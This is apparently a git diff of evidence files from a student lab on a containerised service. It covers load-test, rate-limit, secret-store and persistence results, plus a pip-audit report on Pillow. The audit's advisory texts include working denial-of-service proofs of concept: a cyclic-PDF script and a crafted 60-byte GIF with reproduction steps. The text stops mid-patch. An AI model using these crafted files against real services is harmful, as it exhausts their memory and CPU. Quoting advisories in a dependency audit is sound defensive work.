19.1MiB / 96MiB +mtusi2026lab7-traces-1 0.36% 224.8MiB / 512MiB +mtusi2026lab7-worker-1 1.03% 75.65MiB / 768MiB diff --git a/evidence/load.json b/evidence/load.json new file mode 100644 index 0000000..6870031 --- /dev/null +++ b/evidence/load.json @@ -0,0 +1,17 @@ +{ + "lab": 7, + "workload": "closed-loop POST messages; no automatic retries", + "requested_duration_seconds": 30.0, + "elapsed_seconds": 30.046, + "concurrency": 4, + "successful_requests": 4226, + "failed_requests": 0, + "error_ratio": 0.0, + "successful_rps": 140.649, + "successful_latency_ms": { + "p50": 25.248, + "p95": 48.34, + "p99": 97.975 + }, + "note": "Latency percentiles cover successes only. Timeouts/errors are counted separately; closed-loop has coordinated omission and client overhead." +} diff --git a/evidence/load.txt b/evidence/load.txt new file mode 100644 index 0000000..6870031 --- /dev/null +++ b/evidence/load.txt @@ -0,0 +1,17 @@ +{ + "lab": 7, + "workload": "closed-loop POST messages; no automatic retries", + "requested_duration_seconds": 30.0, + "elapsed_seconds": 30.046, + "concurrency": 4, + "successful_requests": 4226, + "failed_requests": 0, + "error_ratio": 0.0, + "successful_rps": 140.649, + "successful_latency_ms": { + "p50": 25.248, + "p95": 48.34, + "p99": 97.975 + }, + "note": "Latency percentiles cover successes only. Timeouts/errors are counted separately; closed-loop has coordinated omission and client overhead." +} diff --git a/evidence/login-budget.txt b/evidence/login-budget.txt new file mode 100644 index 0000000..9f73ffb --- /dev/null +++ b/evidence/login-budget.txt @@ -0,0 +1,2 @@ +{"serial": {"requests": 38, "seconds": 1.87, "status": {"401": 24, "429": 14}, "replicas": 2, "p95_401_ms": 132.966}, "burst": {"requests": 72, "concurrency": 12, "seconds": 0.765, "status": {"401": 16, "429": 56}, "p95_ms": 304.521}} +PASS shared login window, KDF concurrency bound, Retry-After and recovery diff --git a/evidence/openbao-lifecycle.txt b/evidence/openbao-lifecycle.txt new file mode 100644 index 0000000..b50ca2c --- /dev/null +++ b/evidence/openbao-lifecycle.txt @@ -0,0 +1,5 @@ +PASS role token renewal, lease 30s → 30s +PASS revoked scoped token denied on fresh HTTPS request +PASS sealed: readiness 200 → 503, liveness 200 {"after_seconds": 28.454} +Ready aliases: 52dcc39f8f5a438bb3f53c984c82d056, e40ba6eb77254fd68802d14de7f512fc +PASS after unseal same user session resumes {"recovery_seconds": 9.229} diff --git a/evidence/persistence-after.txt b/evidence/persistence-after.txt new file mode 100644 index 0000000..f1a304f --- /dev/null +++ b/evidence/persistence-after.txt @@ -0,0 +1,14 @@ +api 205d7839f609e8045eb02f1e02c6fbd9529649050647dfffb3ed362fb7a96c53 2026-11-11T10:05:53.70673026Z +api 3ba9edfd827a4154dc1dd1530f147b72dca0cc12339a277e48ee8bbfd8e33c61 2026-11-11T10:05:52.977031394Z +db f4205cb2f749b804946104a2c1f906bc58fc4b52e07303dc4d34108292ea165c 2026-11-11T10:05:48.803842703Z mtusi2026lab7_postgres_data +dispatcher dfadece33073e8a836fb103342a3055b6ea364fd026a63721636b7ba25347916 2026-11-11T10:05:52.209082323Z +grafana a10568b501bb6d7237832e915d8da9358d9afbb0a94ff36b56d00cc3a96d64ae 2026-11-11T10:05:52.416754586Z mtusi2026lab7_grafana_data +logs 67305fc4452995ccdd9f57d23f0f899674bed609941024b19448d2eb1b723b81 2026-11-11T10:05:51.210979331Z mtusi2026lab7_loki_data +metrics 9604a2f984a29eedf8f5ec1bf866d262ec00fcbb91303100d730468be59771b7 2026-11-11T10:05:51.194703886Z mtusi2026lab7_prometheus_data +openbao 80fe09597f0f2e1008b7982e6b07e32242d068921d9bcdc22c8005020af535dd 2026-11-11T10:05:48.80846225Z mtusi2026lab7_bao_raft_active mtusi2026lab7_bao_logs +otel 6e08468428b8dd5a68c5560dd43a1dda6bc9f683406d6ee80875af0fb0f9249e 2026-11-11T10:05:51.231409025Z mtusi2026lab7_collector_data +reconciler e53a750fd54bfccaf9d23979c0f54f2d5e6aff394c28e672cbf5d2921f12d24d 2026-11-11T10:05:53.212316717Z +s3 c159c5002a07705abc7807393ee2ad334a77a04a7dd26e937ca806b353e238d6 2026-11-11T10:05:48.614920824Z mtusi2026lab7_s3_data +streams a186b89b3a1a4bfaafff49bdeb1b446c5aba8e2de01aab0b0a7df5cc1e1e66fd 2026-11-11T10:05:51.21038465Z mtusi2026lab7_broker_data +traces e1c3ac1bbabceb0b6c9d023047b6bf480bf13c701a2134243ee0d55a0613cee2 2026-11-11T10:05:51.185818913Z mtusi2026lab7_tempo_data +worker a498a3bd967681644afc307d650b62e7b773a7399ab957059dd220608f80178b 2026-11-11T10:05:53.216279701Z diff --git a/evidence/persistence-before.txt b/evidence/persistence-before.txt new file mode 100644 index 0000000..1ebcffb --- /dev/null +++ b/evidence/persistence-before.txt @@ -0,0 +1,14 @@ +api 205d7839f609e8045eb02f1e02c6fbd9529649050647dfffb3ed362fb7a96c53 2026-11-11T10:04:17.555065824Z +api 3ba9edfd827a4154dc1dd1530f147b72dca0cc12339a277e48ee8bbfd8e33c61 2026-11-11T10:04:17.01657385Z +db f4205cb2f749b804946104a2c1f906bc58fc4b52e07303dc4d34108292ea165c 2026-11-11T09:56:20.345167368Z mtusi2026lab7_postgres_data +dispatcher dfadece33073e8a836fb103342a3055b6ea364fd026a63721636b7ba25347916 2026-11-11T10:04:01.841281273Z +grafana a10568b501bb6d7237832e915d8da9358d9afbb0a94ff36b56d00cc3a96d64ae 2026-11-11T09:56:25.093310946Z mtusi2026lab7_grafana_data +logs 67305fc4452995ccdd9f57d23f0f899674bed609941024b19448d2eb1b723b81 2026-11-11T10:04:28.498173048Z mtusi2026lab7_loki_data +metrics 9604a2f984a29eedf8f5ec1bf866d262ec00fcbb91303100d730468be59771b7 2026-11-11T09:56:23.555689942Z mtusi2026lab7_prometheus_data +openbao 80fe09597f0f2e1008b7982e6b07e32242d068921d9bcdc22c8005020af535dd 2026-11-11T09:56:21.158899889Z mtusi2026lab7_bao_raft_active mtusi2026lab7_bao_logs +otel 6e08468428b8dd5a68c5560dd43a1dda6bc9f683406d6ee80875af0fb0f9249e 2026-11-11T10:04:28.497112257Z mtusi2026lab7_collector_data +reconciler e53a750fd54bfccaf9d23979c0f54f2d5e6aff394c28e672cbf5d2921f12d24d 2026-11-11T10:04:02.687375501Z +s3 c159c5002a07705abc7807393ee2ad334a77a04a7dd26e937ca806b353e238d6 2026-11-11T09:56:21.072862322Z mtusi2026lab7_s3_data +streams a186b89b3a1a4bfaafff49bdeb1b446c5aba8e2de01aab0b0a7df5cc1e1e66fd 2026-11-11T09:56:23.556764506Z mtusi2026lab7_broker_data +traces e1c3ac1bbabceb0b6c9d023047b6bf480bf13c701a2134243ee0d55a0613cee2 2026-11-11T10:04:28.491137873Z mtusi2026lab7_tempo_data +worker a498a3bd967681644afc307d650b62e7b773a7399ab957059dd220608f80178b 2026-11-11T10:04:02.354785591Z diff --git a/evidence/persistence.txt b/evidence/persistence.txt new file mode 100644 index 0000000..eb7fa87 --- /dev/null +++ b/evidence/persistence.txt @@ -0,0 +1,3 @@ +python3 tests/resilience.py --mode persistence --action-script "scripts/restart.sh" --base-url "https://localhost:8443" --ca-file "/home/kitsune/visotka/mtusi2026lab7/secrets/authority/ca.crt" +Executing explicit persistence hook; hook output suppressed to avoid leaking secrets. +PASS: persistence preserved confirmed data and existing session. Hook scope needs operator evidence. diff --git a/evidence/pip-audit-final.json b/evidence/pip-audit-final.json new file mode 100644 index 0000000..d3f2543 --- /dev/null +++ b/evidence/pip-audit-final.json @@ -0,0 +1 @@ +{"dependencies": [{"name": "annotated-doc", "version": "0.0.6", "vulns": []}, {"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "anyio", "version": "4.16.0", "vulns": []}, {"name": "argon2-cffi-bindings", "version": "26.1.0", "vulns": []}, {"name": "argon2-cffi", "version": "23.1.0", "vulns": []}, {"name": "boto3", "version": "1.40.18", "vulns": []}, {"name": "botocore", "version": "1.40.76", "vulns": []}, {"name": "certifi", "version": "2026.10.23", "vulns": []}, {"name": "cffi", "version": "2.0.0", "vulns": []}, {"name": "charset-normalizer", "version": "3.5.2", "vulns": []}, {"name": "click", "version": "8.5.0", "vulns": []}, {"name": "fastapi", "version": "0.162.4", "vulns": []}, {"name": "googleapis-common-protos", "version": "1.76.0", "vulns": []}, {"name": "h11", "version": "0.16.0", "vulns": []}, {"name": "idna", "version": "3.20", "vulns": []}, {"name": "importlib-metadata", "version": "8.7.1", "vulns": []}, {"name": "jmespath", "version": "1.1.0", "vulns": []}, {"name": "opentelemetry-api", "version": "1.45.2", "vulns": []}, {"name": "opentelemetry-exporter-http-transport", "version": "0.66b2", "vulns": []}, {"name": "opentelemetry-exporter-otlp-common", "version": "0.66b2", "vulns": []}, {"name": "opentelemetry-exporter-otlp-proto-common", "version": "1.45.2", "vulns": []}, {"name": "opentelemetry-exporter-otlp-proto-http", "version": "1.45.2", "vulns": []}, {"name": "opentelemetry-proto", "version": "1.45.2", "vulns": []}, {"name": "opentelemetry-sdk", "version": "1.45.2", "vulns": []}, {"name": "opentelemetry-semantic-conventions", "version": "0.66b2", "vulns": []}, {"name": "pillow", "version": "12.3.0", "vulns": [{"id": "PYSEC-2026-4327", "fix_versions": ["13.0.0"], "aliases": ["GHSA-4558-3h8r-v8xp", "CVE-2026-112394"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4328", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112396", "GHSA-4rr5-89j8-mwwm"], "description": "Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4326", "fix_versions": ["13.0.0"], "aliases": ["GHSA-27h8-gf7j-v5hc", "CVE-2026-112392"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4339", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96639", "GHSA-v9pv-5gc8-w2m6"], "description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4340", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96641", "GHSA-4rm8-3hmm-39fg"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4343", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96644", "GHSA-9v9v-9qvf-h2hj"], "description": "Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4334", "fix_versions": ["13.0.0"], "aliases": ["GHSA-pchr-8j38-3x4p", "CVE-2026-112896"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4337", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96636", "GHSA-p8hx-v2p6-rp84"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, MpoImageFile.seek() and DcxImageFile.seek() reparse later MPO or DCX frames and replace self._size without rerunning Image._decompression_bomb_check(). A crafted multi-frame image can use a tiny first frame to pass Image.open() and then declare an over-limit later frame. Normal frame iteration through seek(), load(), or ImageSequence.Iterator can decode that frame and commit hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4341", "fix_versions": ["13.0.0"], "aliases": ["GHSA-3j72-p6qg-6xp7", "CVE-2026-96642"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4330", "fix_versions": ["13.0.0"], "aliases": ["GHSA-5x8w-8jj5-q52h", "CVE-2026-112398"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4338", "fix_versions": ["13.0.0"], "aliases": ["GHSA-g842-9rc4-69pw", "CVE-2026-96637"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4335", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112901", "GHSA-xgh8-jp6q-p5x8"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's XBM header parser is vulnerable to regular-expression denial of service. In XbmImageFile._open, when an application calls Image.open() on a small crafted XBM file, XbmImagePlugin applies a backtracking expression to the attacker-controlled header before image dimensions are accepted, stalling a worker for minutes and denying service. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4336", "fix_versions": ["13.0.0"], "aliases": ["GHSA-654x-cwwv-5j9c", "CVE-2026-114501"], "description": "Pillow is a Python imaging library. From 11.2.1 until 13.0.0, Arrow export assumes that an image's rows are tightly contiguous and exports from im->blocks[0].ptr even when PILLOW_ALIGNMENT makes aligned_linesize include row padding or an aligned offset before the first row. The resulting Arrow buffer can include uninitialized padding, bytes preceding the first row, or stale heap contents from previously freed images. Applications that configure alignment and export images to Arrow can therefore disclose one user's pixels or other process memory to another user. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4331", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112402", "GHSA-7mwm-ghpf-9vrm"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4332", "fix_versions": ["13.0.0"], "aliases": ["GHSA-8g5g-8vmr-9782", "CVE-2026-112403"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4329", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112397", "GHSA-58r4-6rv3-gfh8"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4333", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-112405", "GHSA-cp9v-662q-vvx9"], "description": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4342", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96643", "GHSA-g4qv-2jxx-769h"], "description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0."}, {"id": "CVE-2026-112895", "fix_versions": ["13.0.0"], "aliases": ["GHSA-p4wg-p73j-c528"], "description": "### Summary When an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b\"<< /Type /Catalog /Pages 2 0 R >>\", 2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\", 3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\", } buf = bytearray(b\"%PDF-1.4\\n\") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\" xref = len(buf) buf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" buf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3)) buf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref open(\"poc.pdf\", \"wb\").write(buf) PdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers."}, {"id": "CVE-2026-112400", "fix_versions": ["13.0.0"], "aliases": ["GHSA-65qm-jvmh-6pqg"], "description": "``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070. In the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in (\"RGB\", \"RGBA\"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000\u00d720000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\" storage), 96\u00d7 the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1\u00d71). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` \u2014 a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` \u2014 and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error threshold). A real 1\u00d71 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ## Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if 